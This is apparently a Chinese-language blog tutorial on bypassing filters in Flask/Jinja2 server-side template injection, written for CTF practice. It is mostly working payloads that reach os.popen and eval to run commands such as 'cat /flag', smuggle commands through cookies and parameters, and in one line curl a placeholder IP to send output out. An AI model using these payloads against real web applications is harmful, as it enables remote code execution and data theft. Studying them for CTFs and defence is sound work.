沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

SSTI进阶

0x00 前言


做过很多个SSTI的题目,但一直都没有自己写出过payload,真的菜。本文主要针对Flask的模板注入进行一些过滤的绕过。

0x02 各种过滤的绕过


过滤了点

jinja2中除了Python中靠点获取属性,还可以用中括号,也即:

''.__class__ = ''['__class__']

除此之外,如果连中括号也过滤了的话,还有一个|attr的过滤器,过滤器可以与Linux中管道符|进行类比,也即用前面的(输出)作为后面操作的对象

''.__class__ = ''|attr('__class__')

过滤了中括号

过滤了中括号的情况下,除了可以用上文说到的attr过滤器,还可以使用魔法方法__getattribute__来获取属性,__getitem__来获取字典中的键值

''.__class__ = ''.__getattribute__('__class__')
url_for.__globals__['__builtins__'] = url_for.__globals__.__getitem__('__builtins__') #__globals__返回的是字典, 另外__builtins__也是

url_for是Flask中一个特殊的方法(具体作用自己看文档),再模板注入中可用于命令执行:

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
#类似的还有
get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")
lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")              
#另外还有,lipsum.__globals__含有os模块:
{{lipsum.__globals__['os'].popen('ls').read()}}
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}#自己发现这两个也有
{{url_for.__globals__['os'].popen('dir').read()}}


config #{{config}}所有设置,也可以用于获得其他东西
#如下
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
{{ config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}

#实际上,对于任何.__init__不带wrapper的都可以调用到__globals__,而在flask中,未定义的也不带,所以有如下payload
foobar.__class__.__init__.__globals__['__builtins__'] #这里面有个opne函数,open("filename").read可以直接读取文件
#foobar.__class__.__init__显示的是:<function Undefined.__init__ at 0x03275658> 

对于字典,我们还有其他的一些方法

url_for.__globals__.pop('__builtins__')#删除某个键值,返回值是改键值,不过不建议轻易使用,因为可能删除掉重要的东西
url_for.__globals__.get('__builtins__')#得到某个键值,这个好用
url_for.__globals__.setdefault('__builtins__')#和get类似

后来发现居然忽视了Python可以直接用点操作符

{{url_for.__globals__.__builtins__}}

而过滤了中括号最大的影响,实际是列表取值,还好列表也可以使用__getitem__

''.__class__.__mro__[-1] = ''.__class__.__mro__.__getitem__(-1)

过滤了关键字

对于模板注入,比较有效的方法就是禁止掉payload中的关键字(如class、init等),那么,对于此,我们要怎么绕过呢

拼接

''.__class__ = ''['__cla' + 'ss__']
#或者使用过滤器 ('__clas','s__')|join

厉害的羽师傅发现了其实并不需要加号

''.__class__ = ''['__cla''ss__']

还可以使用~进行拼接

''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

转置

''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse

利用str内置方法

''.__class__ = ""['__cTass__'.replace("T","l")] = 
''['X19jbGFzc19f'.decode('base64')] = #不知道为什么我这里说'str object' has no attribute 'decode' 原理上讲应该可以(后来发现好是python3的原因)
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss") 

编码绕过

可以利用Python的字符串格式化

''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
#或者使用过滤器  ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

还可以利用十六进制的字符绕过

''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]

还可以利用chr函数进行转换,但是我们先要找到chr函数

{% set chr=url_for.__globals__['__builtins__'].chr %} #{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

使用request

request              #request.__init__.__globals__['__builtins__']
request.args.x1   	 #get传参
request.values.x1 	 #所有参数
request.cookies      #cookies参数
request.headers      #请求头参数
request.form.x1   	 #post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 #post传参	(Content-Type:a/b)
request.json		 #post传json  (Content-Type: application/json)

千言万语都比不上直接上payload简单明了:

{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)

过滤了单双引号

{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag

可以看到request是真的好用,可惜一般直接给你过滤了request,哈哈

还可以利用上面用的chr()方法

{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()

过滤了双花括号

双花括号,即:\{\{ 或者 \}\}

{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()

还可以

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /').read()=='p' %}1{% endif %} #python2 没测试过

过滤了小括号

= = 好像无解

0x03 构造字符


有时候过滤特别严格得时候,我们就需要自己想法来构造字符串

过滤器 ()|select|string

()|select|string得到的结果是: <generator object select_or_reject at 0x十六进制数字>

可以看到有下划线什么的,然后我们就可以用()|select|string[24]等来取字符,其实foobar|select|string也是一样的

{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__classs__"

如果过滤了中括号,还可以使用foobar|select|string|list转换为列表后,使用pop或者__getitem__来取值

dict(clas=a,s=b)|join

使用dict(cla=a,s=b)|join后,得到的是字符串”class”,可以直接看看下面的payload

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}#("_","_","init","_","_")|join()  实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

dict(e=a)|join|count

当过滤数字的时候,我们可以用这种方法得到数字

dict(e=a)|join|count #1
dict(ee=a)|join|count #2

0x04 参考文章


羽师傅ctfshow

羽师傅ssti进阶

rfrder的ctfshow-ssti